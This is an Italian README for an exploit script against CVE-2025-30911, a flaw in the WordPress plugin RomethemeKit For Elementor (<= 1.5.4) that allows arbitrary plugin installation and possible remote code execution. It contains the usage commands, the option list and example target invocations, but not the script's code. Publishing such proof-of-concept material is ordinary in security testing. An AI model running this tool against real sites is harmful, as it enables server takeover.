nxploited/cve-2025-30911Il plugin RomethemeKit For Elementor per WordPress <= 1.5.4 è vulnerabile all'Esecuzione Remota di Codice (RCE)
Questo script sfrutta una vulnerabilità critica nel plugin WordPress RomethemeKit For Elementor (<= v1.5.4) che consente l'installazione e l'attivazione arbitraria di plugin da parte di utenti autenticati, potenzialmente portando all'esecuzione di codice in remoto (RCE).
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:HLa vulnerabilità consente a un attaccante autenticato (con accesso da Amministratore) di installare e attivare programmaticamente qualsiasi plugin — inclusi quelli potenzialmente dannosi — il che può portare alla piena esecuzione di codice sul server.
python3 CVE-2025-30911.py -u http://target/wordpress -un admin -p password -pl hello-dolly/hello.php
usage:
CVE-2025-30911.py [-h] -u URL -un USERNAME -p PASSWORD [-pl PLUGIN]
Exploit For CVE-2025-30911 | By Nxploited Khaled Alenazi
options:
-h, --help Show this help message and exit
-u, --url URL Base URL of the WordPress site
-un, --username USERNAME WordPress admin username
-p, --password PASSWORD WordPress admin password
-pl, --plugin PLUGIN Plugin to install (default: hello-dolly/hello.php)
python3 CVE-2025-30911.py -u http://192.168.100.74:888/wordpress -un admin -p admin -pl hello-dolly/hello.php
requests (installabile con pip install requests)Questo strumento è fornito esclusivamente per test di sicurezza autorizzati e a scopo didattico. L'uso non autorizzato è illegale e non etico.
Di: Nxploited | Khaled Alenazi